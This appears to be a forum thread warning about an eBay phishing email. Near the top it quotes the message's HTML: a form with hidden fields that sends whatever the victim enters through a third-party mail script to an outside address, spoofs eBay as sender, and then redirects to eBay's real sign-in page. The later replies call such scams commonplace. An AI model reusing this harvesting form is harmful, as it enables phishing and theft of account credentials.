looking at the source i found this:
<form method=post action="http://www.it.ca/cgi-bin/mailform.cgi"> <input type=hidden name=MailTo value="mihai_ara@yahoo.com"> <input type=hidden name=MailFrom value="cont@eBay.com"> <input type=hidden name=MailSubject value="Inc un ftru!!!"> <input type=hidden name=NextPage value="http://signin.ebay.com/aw-cgi/eBayISAPI.dll?SignIn">[/Q


So if you get anyhting like that, beware....

This isn't really new, idiots have been falling for this for years.

How is this new?

This isn't new.

These things are CONSTANTLY out there.




AGAIN...any form/email from any company asking you to put in your Credit Card #, Password, etc. is a SCAM!


Now...can we dispense with these superfluous scam alerts?

ebay/paypal should send messages out once a week reminding it's users that they do not ask for your sh!t!
